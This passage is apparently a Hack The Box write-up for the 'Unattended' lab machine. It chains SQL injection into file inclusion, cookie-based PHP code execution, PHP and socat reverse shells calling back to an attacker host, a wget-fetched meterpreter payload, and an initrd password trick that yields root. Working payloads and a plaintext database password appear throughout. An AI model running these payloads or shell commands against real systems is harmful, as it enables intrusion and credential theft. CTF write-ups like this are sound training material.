
Unfortunately our server is under *heavy* attack and we disable almost every dynamic page.

Please come back later. </ br >

</ body >

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev../html/787c75233b93aa5e45c3f85d130bfbe7.php

< body class = "container" >

< div >

< img src = 787c75233b93aa5e45c3f85d130bfbe7.gif >

</ div >

< div >

Hello echo ( isset ($_GET[ 'name' ])) ? $_GET[ 'name' ] : "visitor" ; ,

we are very sorry to show you this ridiculous page but we had to restore our website to 2001-layout.

</ div >

< div >

As a partial recover, we offer you a printed portfolio: just drop us an email with a contact request.

</ div >

< div >

</ div >

</ body >



First guess will be that the page name gets queried from the database table idname then the path (or the actual php file name) gets queried from the database table filepath then it includes that page to the index page. And that’s true but since we have the source of index.php let’s also look at it.

By looking at the dumped tables and the source of index.php again we can understand the following :

The SQL injectable query we just exploited is part of the function getTplFromID which returns the page name after querying it from the table idname based on our given id number :

Function getTplFromID() :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

function getTplFromID ($conn) {

global $debug;

$valid_ids = array ( 25 , 465 , 587 );

if ( (array_key_exists( 'id' , $_GET)) && (intval($_GET[ 'id' ]) == $_GET[ 'id' ]) && (in_array(intval($_GET[ 'id' ]),$valid_ids)) ) {

$sql = "SELECT name FROM idname where id = '" .$_GET[ 'id' ]. "'" ;

} else {

$sql = "SELECT name FROM idname where id = '25'" ;

}

if ($debug) { echo "sqltpl: $sql

" ; }



$result = $conn->query($sql);

if ($result->num_rows > 0 ) {

while ($row = $result->fetch_assoc()) {

$ret = $row[ 'name' ];

}

} else {

$ret = 'main' ;

}

if ($debug) { echo "rettpl: $ret

" ; }

return $ret;

}



Table idname :

1

2

3

4

5

6

7

8

9

10

+

| id | name | disabled |

+

| 1 | main.php | 1 |

| 2 | about.php | 1 |

| 3 | contact.php | 1 |

| 25 | main | 0 |

| 465 | about | 0 |

| 587 | contact | 0 |

+



There is another function called getPathFromTpl which takes the returned page name and queries the actual path from the table filepath then returns it :

Function getPathFromTpl() :

1

2

3

4

5

6

7

8

9

10

11

12

13

function getPathFromTpl ($conn,$tpl) {

global $debug;

$sql = "SELECT path from filepath where name = '" .$tpl. "'" ;

if ($debug) { echo "sqlpath: $sql

" ; }

$result = $conn->query($sql);

if ($result->num_rows > 0 ) {

while ($row = $result->fetch_assoc()) {

$ret = $row[ 'path' ];

}

}

if ($debug) { echo "retpath: $ret

" ; }

return $ret;

}



Table filepath :

1

2

3

4

5

6

7

+

| name | path |

+

| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |

| contact | 0f710bba8d16303a415266af8bb52fcb.php |

| main | 787c75233b93aa5e45c3f85d130bfbe7.php |

+



The first function gets called and its return value gets saved in the variable tpl : $tpl = getTplFromID($conn);

Then the second function gets called with the variable tpl and its return value gets saved in the variable inc

And finally it includes that page include("$inc");

We have a SQL injection vulnerability which we can use to control what’s being included, in other words we have a local file inclusion vulnerability.

After some attempts to read /etc/passwd this payload worked : ' UNION SELECT "main' UNION SELECT '/etc/passwd';-- ";--



LFI to RCE

We need to get RCE from this LFI . If I could include my session file ( /var/lib/php/session/sess_[SESSION COOKIE] ) then I could put php code in a cookie and include it. My session cookie was c5vmccsqkle2rdionj28kit221 .

Request :

1

2

3

4

5

6

7

8

9

10

GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_c5vmccsqkle2rdionj28kit221%27%3b--+%22%3b--+ HTTP/1.1

Host : www.nestedflanders.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Cookie : PHPSESSID=c5vmccsqkle2rdionj28kit221;

Connection : close

Upgrade-Insecure-Requests : 1

Cache-Control : max-age=0



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

HTTP/1.1 200 OK

Server : nginx/1.10.3

Date : Fri, 23 Aug 2019 16:25:24 GMT

Content-Type : text/html; charset=UTF-8

Content-Length : 935

Connection : close

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Vary : Accept-Encoding

X-Upstream : 127.0.0.1:8080



<!DOCTYPE html>

----------------

Removed Output

----------------

<!-- <div align="center"> -->

PHPSESSID|s:26:"c5vmccsqkle2rdionj28kit221";

<!-- </div> -->



</div> <!-- row -->

</div> <!-- container -->



</body>

</html>



It worked, I created a cookie and called it RCE , any php code I put there will be included and executed so we can get RCE by system() or passthru() , let’s try whoami :

Request :

1

2

3

4

5

6

7

8

9

10

GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_c5vmccsqkle2rdionj28kit221%27%3b--+%22%3b--+ HTTP/1.1

Host : www.nestedflanders.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Cookie : PHPSESSID=c5vmccsqkle2rdionj28kit221; RCE=<?php passthru('whoami')?>;

Connection : close

Upgrade-Insecure-Requests : 1

Cache-Control : max-age=0



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

HTTP/1.1 200 OK

Server : nginx/1.10.3

Date : Fri, 23 Aug 2019 16:25:45 GMT

Content-Type : text/html; charset=UTF-8

Content-Length : 955

Connection : close

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Vary : Accept-Encoding

X-Upstream : 127.0.0.1:8080



<!DOCTYPE html>

----------------

Removed Output

----------------

<!-- <div align="center"> -->

PHPSESSID|s:26:"c5vmccsqkle2rdionj28kit221";RCE|s:26:"www-data

";<!-- </div> -->



</div> <!-- row -->

</div> <!-- container -->



</body>

</html>



I spent a lot of time trying to get a reverse shell and I couldn’t, so I checked iptables rules :

Request :

1

2

3

4

5

6

7

8

9

10

GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_c5vmccsqkle2rdionj28kit221%27%3b--+%22%3b--+ HTTP/1.1

Host : www.nestedflanders.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Cookie : PHPSESSID=c5vmccsqkle2rdionj28kit221; RCE=<?php passthru('cat /etc/iptables/rules.v4')?>;

Connection : close

Upgrade-Insecure-Requests : 1

Cache-Control : max-age=0



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

HTTP/1.1 200 OK

Server : nginx/1.10.3

Date : Fri, 23 Aug 2019 16:27:11 GMT

Content-Type : text/html; charset=UTF-8

Content-Length : 1592

Connection : close

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate

Pragma : no-cache

Vary : Accept-Encoding

X-Upstream : 127.0.0.1:8080



<!DOCTYPE html>

----------------

Removed Output

----------------

<!-- <div align="center"> -->

PHPSESSID|s:26:"c5vmccsqkle2rdionj28kit221";RCE|s:46:"# Generated by iptables-save v1.6.0 on Wed Dec 19 21:55:49 2018

*filter

:INPUT DROP [7:1813]

:FORWARD ACCEPT [0:0]

:OUTPUT DROP [34:2661]

-A INPUT -i lo -j ACCEPT

-A INPUT -i ens33 -m state --state RELATED,ESTABLISHED -j ACCEPT

-A INPUT -i ens33 -p tcp -m multiport --dports 80,443 -j ACCEPT

-A INPUT -i ens33 -p icmp -j ACCEPT

-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

-A FORWARD -j DROP

-A OUTPUT -o lo -j ACCEPT

-A OUTPUT -o ens33 -m state --state RELATED,ESTABLISHED -j ACCEPT

-A OUTPUT -o ens33 -p tcp -m multiport --dports 80,443 -j ACCEPT

-A OUTPUT -o ens33 -p icmp -j ACCEPT

COMMIT

# Completed on Wed Dec 19 21:55:49 2018

";<!-- </div> -->



</div> <!-- row -->

</div> <!-- container -->



</body>

</html>



We can only get a reverse shell on ports 443 and 80. My problem was trying to get a connection on port 1337.

nc wasn’t on the box so I used php to get a reverse shell.

shell.sh :

1

2



php -r '$sock=fsockopen("10.10.xx.xx",443);exec("/bin/sh -i <&3 >&3 2>&3");'



I started a python server on port 80 then I downloaded the shell file on the box and executed it :

1

2

3

4

5

6

7

8

9

10

GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_c5vmccsqkle2rdionj28kit221%27%3b--+%22%3b--+ HTTP/1.1

Host : www.nestedflanders.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Cookie : PHPSESSID=c5vmccsqkle2rdionj28kit221; RCE=<?php passthru('cd /tmp && wget http://10.10.xx.xx/shell.sh')?>;

Connection : close

Upgrade-Insecure-Requests : 1

Cache-Control : max-age=0



1

2

3

4

5

6

7

8

9

10

GET /index.php?id=25%27+UNION+SELECT+%22main%27+UNION+SELECT+%27/var/lib/php/sessions/sess_c5vmccsqkle2rdionj28kit221%27%3b--+%22%3b--+ HTTP/1.1

Host : www.nestedflanders.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Cookie : PHPSESSID=c5vmccsqkle2rdionj28kit221; RCE=<?php passthru('cd /tmp && sh shell.sh')?>;

Connection : close

Upgrade-Insecure-Requests : 1

Cache-Control : max-age=0



And we get a shell as www-data :



But I didn’t like 2 things about this shell. First thing, it wasn’t a tty shell. Second thing, with only 2 ports available It was annoying because I usually need more shells. So I created a php meterpreter payload because with meterpreter I can spawn as many shells as I want and they can be tty shells.

1

2

3

4

5

root@kali:~/Desktop/HTB/boxes/unattended# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=80 > shell.php

[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload

[-] No arch selected, selecting arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 1110 bytes



1

2

3

4

5

6

7

8

9

10

11

12

13

$ cd /tmp

$ wget http://10.10.xx.xx/shell.php

--2019-08-23 13:09:38-- http://10.10.xx.xx/shell.php

Connecting to 10.10.xx.xx:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 1110 (1.1K) [application/octet-stream]

Saving to: 'shell.php'



0K . 100% 92.4M=0s



2019-08-23 13:09:39 (92.4 MB/s) - 'shell.php' saved [1110/1110]



$ php ./shell.php



1

2

3

4

5

6

7

8

9

10

11

12

13

14

msf5 > use multi/handler

set msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 10.10.xx.xx

LHOST => 10.10.xx.xx

msf5 exploit(multi/handler) > set LPORT 80

LPORT => 80

msf5 exploit(multi/handler) > run



[*] Started reverse TCP handler on 10.10.xx.xx:80

[*] Sending stage (38247 bytes) to 10.10.10.126

[*] Meterpreter session 1 opened (10.10.xx.xx:80 -> 10.10.10.126:47866) at 2019-08-23 19:09:59 +0200



meterpreter >





Note : I stopped the python server before starting the listener because both of them use port 80.

Shell as guly, User Flag

There is only one user on the box : guly , and we can’t access the home directory :

1

2

3

4

5

6

7

8

9

10

www-data@unattended:/tmp$ ls -la /home

ls -la /home

total 12

drwxr-xr-x 3 root root 4096 Dec 20 2018 .

drwxr-xr-x 22 root root 4096 Dec 21 2018 ..

drwxr-x--- 2 guly guly 4096 Apr 2 17:11 guly

www-data@unattended:/tmp$ cd /home/guly

cd /home/guly

bash: cd: /home/guly: Permission denied

www-data@unattended:/tmp$



Earlier we got the database credentials from index.php and we couldn’t dump the whole database because of the slow process, let’s check the database :

1

2

3

4

5

6

7

8

9

10

11

12

13

www-data@unattended:/tmp$ mysql -h localhost -u nestedflanders -p

mysql -h localhost -u nestedflanders -p

Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e



Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 14511

Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6



Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.



Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.



MariaDB [(none)]>



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

MariaDB [(none)]> use neddy;

use neddy;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A



Database changed

MariaDB [neddy]> show tables ;

show tables ;

+

| Tables_in_neddy |

+

| config |

| customers |

| employees |

| filepath |

| idname |

| offices |

| orderdetails |

| orders |

| payments |

| productlines |

| products |

+

11 rows in set ( 0.00 sec)



MariaDB [neddy]>



config looks interesting, let’s check it :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

MariaDB [neddy]> select * from config;

select * from config;



+

| id | option_name | option_value |

+

| 54 | offline | 0 |

| 55 | offline_message | Site offline, please come back later |

| 56 | display_offline_message | 0 |

| 57 | offline_image | |

| 58 | sitename | NestedFlanders |

| 59 | editor | tinymce |

| 60 | captcha | 0 |

| 61 | list_limit | 20 |

| 62 | access | 1 |

| 63 | debug | 0 |

| 64 | debug_lang | 0 |

| 65 | dbtype | mysqli |

| 66 | host | localhost |

| 67 | live_site | |

| 68 | gzip | 0 |

| 69 | error_reporting | default |

| 70 | ftp_host | 127.0.0.1 |

| 71 | ftp_port | 21 |

| 72 | ftp_user | flanders |

| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |

| 74 | ftp_root | / |

| 75 | ftp_enable | 1 |

| 76 | offset | UTC |

| 77 | mailonline | 1 |

| 78 | mailer | mail |

| 79 | mailfrom | nested@nestedflanders.htb |

| 80 | fromname | Neddy |

| 81 | sendmail | /usr/sbin/sendmail |

| 82 | smtpauth | 0 |

| 83 | smtpuser | |

| 84 | smtppass | |

| 85 | smtppass | |

| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |

| 87 | smtphost | localhost |

| 88 | smtpsecure | none |

| 89 | smtpport | 25 |

| 90 | caching | 0 |

| 91 | cache_handler | file |

| 92 | cachetime | 15 |

| 93 | MetaDesc | |

| 94 | MetaKeys | |

| 95 | MetaTitle | 1 |

| 96 | MetaAuthor | 1 |

| 97 | MetaVersion | 0 |

| 98 | robots | |

| 99 | sef | 1 |

| 100 | sef_rewrite | 0 |

| 101 | sef_suffix | 0 |

| 102 | unicodeslugs | 0 |

| 103 | feed_limit | 10 |

| 104 | lifetime | 1 |

| 105 | session_handler | file |

+

52 rows in set ( 0.00 sec)



MariaDB [neddy]>



The row with id 86 looks interesting. It has a value of some perl scripts :

1

/home/guly/checkbase.pl;/home/guly/checkplugins.pl;



Apparently these scripts get executed from time to time, we can’t read these scripts or replace them, but we can change the value of that configuration from the database and put a reverse shell command. There’s no nc so I used socat :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

MariaDB [neddy]> update config set option_value="socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.xx.xx:443;" where id=86;

Query OK, 0 rows affected (0.00 sec)

Rows matched: 1 Changed: 0 Warnings: 0



MariaDB [neddy]> select * from config;

select * from config;



Removed Output



| 86 | checkrelease | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.xx.xx:443; |



Removed Output



52 rows in set ( 0.00 sec)



MariaDB [neddy]>





We owned user.

initrd, Root Flag

After getting a shell as guly I terminated my meterpreter session as www-data and got a new one as guly :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

guly@unattended:/tmp$ wget http://10.10.xx.xx/shell.php

wget http://10.10.xx.xx/shell.php

--2019-08-23 13:25:49-- http://10.10.xx.xx/shell.php

Connecting to 10.10.xx.xx:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 1110 (1.1K) [application/octet-stream]

Saving to: ‘shell.php’



shell.php 100%[===================>] 1.08K --.-KB/s in 0s



2019-08-23 13:25:49 (100 MB/s) - ‘shell.php’ saved [1110/1110]



guly@unattended:/tmp$ php ./shell.php

php ./shell.php

/*





I noticed that guly was in the local group grub , I searched for files that are owned by this group :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

guly@unattended:/tmp$ find / -group grub

find / -group grub

find: ‘/proc/tty/driver’: Permission denied

find: ‘/proc/1146/task/1146/fd/7’: No such file or directory

find: ‘/proc/1146/task/1146/fdinfo/7’: No such file or directory

find: ‘/proc/1146/fd/6’: No such file or directory

find: ‘/proc/1146/fdinfo/6’: No such file or directory

find: ‘/lost+found’: Permission denied

find: ‘/var/spool/cron/crontabs’: Permission denied

find: ‘/var/spool/rsyslog’: Permission denied

find: ‘/var/tmp/vmware-root_861-3988621786’: Permission denied

find: ‘/var/tmp/vmware-root’: Permission denied

find: ‘/var/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-apache2.service-Mjh5Or’: Permission denied

find: ‘/var/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-apache2.service-xDCH4o’: Permission denied

find: ‘/var/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-systemd-timesyncd.service-w07Cfj’: Permission denied

find: ‘/var/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-systemd-timesyncd.service-90T8ai’: Permission denied

find: ‘/var/log/mysql’: Permission denied

find: ‘/var/log/apache2’: Permission denied

find: ‘/var/lib/vmware-caf/pme/data/input/monitor’: Permission denied

find: ‘/var/lib/vmware-caf/pme/data/output’: Permission denied

find: ‘/var/lib/php/sessions’: Permission denied

find: ‘/var/lib/nginx/fastcgi’: Permission denied

find: ‘/var/lib/nginx/proxy’: Permission denied

find: ‘/var/lib/nginx/body’: Permission denied

find: ‘/var/lib/nginx/scgi’: Permission denied

find: ‘/var/lib/nginx/uwsgi’: Permission denied

find: ‘/var/lib/mysql/mysql’: Permission denied

find: ‘/var/lib/mysql/performance_schema’: Permission denied

find: ‘/var/lib/mysql/neddy’: Permission denied

find: ‘/var/lib/apt/lists/partial’: Permission denied

find: ‘/var/cache/ldconfig’: Permission denied

find: ‘/var/cache/apt/archives/partial’: Permission denied

find: ‘/boot/lost+found’: Permission denied

/boot/initrd.img-4.9.0-8-amd64

find: ‘/root’: Permission denied

find: ‘/sys/kernel/debug’: Permission denied

find: ‘/etc/ssl/private’: Permission denied

find: ‘/etc/vmware-tools/GuestProxyData/trusted’: Permission denied

find: ‘/tmp/vmware-root_861-3988621786’: Permission denied

find: ‘/tmp/vmware-root’: Permission denied

find: ‘/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-apache2.service-Mjh5Or’: Permission denied

find: ‘/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-apache2.service-xDCH4o’: Permission denied

find: ‘/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-systemd-timesyncd.service-w07Cfj’: Permission denied

find: ‘/tmp/systemd-private-5706e28397b54bc0b26acb5f73105e4f-systemd-timesyncd.service-90T8ai’: Permission denied

find: ‘/run/log/journal/b0fa41b1a9b848e8b54df33b345577c8’: Permission denied

find: ‘/run/systemd/inaccessible’: Permission denied

guly@unattended:/tmp$



I could only access /boot/initrd.img-4.9.0-8-amd64 , so I created a directory in /tmp and copied it there.

1

2

3

4

5

6

7

8

9

10

11

12

13

guly@unattended:/tmp$ mkdir initrd

mkdir initrd

guly@unattended:/tmp$ cd initrd

cd initrd

guly@unattended:/tmp/initrd$ cp /boot/initrd.img-4.9.0-8-amd64 .

cp /boot/initrd.img-4.9.0-8-amd64 .

guly@unattended:/tmp/initrd$ ls -la

ls -la

total 19256

drwxr-xr-x 2 guly guly 60 Aug 23 13:34 .

drwxrwxrwt 14 root root 300 Aug 23 13:34 ..

-rw-r----- 1 guly guly 19715792 Aug 23 13:34 initrd.img-4.9.0-8-amd64

guly@unattended:/tmp/initrd$



initrd is the abbreviation for initial ramdisk.

Using file on it says that it’s a gzip archive :

1

2

3

4

5

6

7

8

9

guly@unattended:/tmp/initrd$ ls -la

ls -la

total 19256

drwxr-xr-x 2 guly guly 60 Aug 23 13:55 .

drwxrwxrwt 14 root root 300 Aug 23 13:55 ..

-rw-r----- 1 guly guly 19715792 Aug 23 13:54 initrd.img-4.9.0-8-amd64

guly@unattended:/tmp/initrd$ file initrd.img-4.9.0-8-amd64

file initrd.img-4.9.0-8-amd64

initrd.img-4.9.0-8-amd64: gzip compressed data, last modified: Fri Aug 23 09:26:41 2019, from Unix



I renamed it to initrd.img-4.9.0-8-amd64.gz then I used gzip to extract it :

1

2

3

4

5

6

7

8

9

10

guly@unattended:/tmp/initrd$ mv initrd.img-4.9.0-8-amd64 initrd.img-4.9.0-8-amd64.gz

4.gznitrd.img-4.9.0-8-amd64 initrd.img-4.9.0-8-amd64

guly@unattended:/tmp/initrd$ gzip -d initrd.img-4.9.0-8-amd64.gz

gzip -d initrd.img-4.9.0-8-amd64.gz

guly@unattended:/tmp/initrd$ ls -la

ls -la

total 60656

drwxr-xr-x 2 guly guly 60 Aug 23 13:56 .

drwxrwxrwt 14 root root 300 Aug 23 13:56 ..

-rw-r----- 1 guly guly 62110208 Aug 23 13:54 initrd.img-4.9.0-8-amd64



The new file is a cpio archive :

1

2

3

guly@unattended:/tmp/initrd$ file initrd.img-4.9.0-8-amd64

file initrd.img-4.9.0-8-amd64

initrd.img-4.9.0-8-amd64: ASCII cpio archive (SVR4 with no CRC)



To extract it :

1

guly@unattended:/tmp/initrd$ cpio -idvm < initrd.img-4.9.0-8-amd64



After extracting it we get a lot of files :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

guly@unattended:/tmp/initrd$ ls -la

ls -la

total 60664

drwxr-xr-x 11 guly guly 260 Aug 23 13:56 .

drwxrwxrwt 14 root root 300 Aug 23 13:57 ..

drwxr-xr-x 2 guly guly 3600 Aug 23 13:56 bin

drwxr-xr-x 2 guly guly 60 Aug 23 13:56 boot

drwxr-xr-x 3 guly guly 120 Aug 23 13:56 conf

drwxr-xr-x 5 guly guly 240 Aug 23 13:56 etc

-rwxr-xr-x 1 guly guly 5960 Apr 23 2017 init

-rw-r----- 1 guly guly 62110208 Aug 23 13:54 initrd.img-4.9.0-8-amd64

drwxr-xr-x 8 guly guly 180 Aug 23 13:56 lib

drwxr-xr-x 2 guly guly 60 Aug 23 13:56 lib64

drwxr-xr-x 2 guly guly 40 Aug 23 05:26 run

drwxr-xr-x 2 guly guly 1140 Aug 23 13:56 sbin

drwxr-xr-x 8 guly guly 220 Aug 23 13:56 scripts

guly@unattended:/tmp/initrd$



Searching for guly in these files reveals this interesting comment in a script called cryptroot :

1

2

3

4

guly@unattended:/tmp/initrd$ grep -r guly *

grep -r guly *

Binary file initrd.img-4.9.0-8-amd64 matches

scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one



I checked that part of the script :

1

2

3

4

5

6

7

if [ ! -e " $NEWROOT " ]; then



if ! crypttarget= " $crypttarget " cryptsource= " $cryptsource " \

/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then

message "cryptsetup: cryptsetup failed, bad password or options?"

sleep 3

continue



This line /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen generates root password and pipes it to $cryptopen . We don’t have permission to execute uinitrd :

1

2

3

4

guly@unattended:/tmp/initrd$ /sbin/uinitrd c0m3s3f0ss34nt4n1

/sbin/uinitrd c0m3s3f0ss34nt4n1

bash: /sbin/uinitrd: Permission denied

guly@unattended:/tmp/initrd$



But in the extracted files we have the same binary and we can execute it :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

guly@unattended:/tmp/initrd$ ls -la

ls -la

total 60664

drwxr-xr-x 11 guly guly 260 Aug 23 13:56 .

drwxrwxrwt 14 root root 340 Aug 23 14:02 ..

drwxr-xr-x 2 guly guly 3600 Aug 23 13:56 bin

drwxr-xr-x 2 guly guly 60 Aug 23 13:56 boot

drwxr-xr-x 3 guly guly 120 Aug 23 13:56 conf

drwxr-xr-x 5 guly guly 240 Aug 23 13:56 etc

-rwxr-xr-x 1 guly guly 5960 Apr 23 2017 init

-rw-r----- 1 guly guly 62110208 Aug 23 13:54 initrd.img-4.9.0-8-amd64

drwxr-xr-x 8 guly guly 180 Aug 23 13:56 lib

drwxr-xr-x 2 guly guly 60 Aug 23 13:56 lib64

drwxr-xr-x 2 guly guly 40 Aug 23 05:26 run

drwxr-xr-x 2 guly guly 1140 Aug 23 13:56 sbin

drwxr-xr-x 8 guly guly 220 Aug 23 13:56 scripts

guly@unattended:/tmp/initrd$ ls -la sbin | grep uinitrd

ls -la sbin | grep uinitrd

-rwxr-x--- 1 guly guly 933240 Aug 23 05:26 uinitrd

guly@unattended:/tmp/initrd$





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Helpline

Next Hack The Box write-up : Hack The Box - OneTwoSeven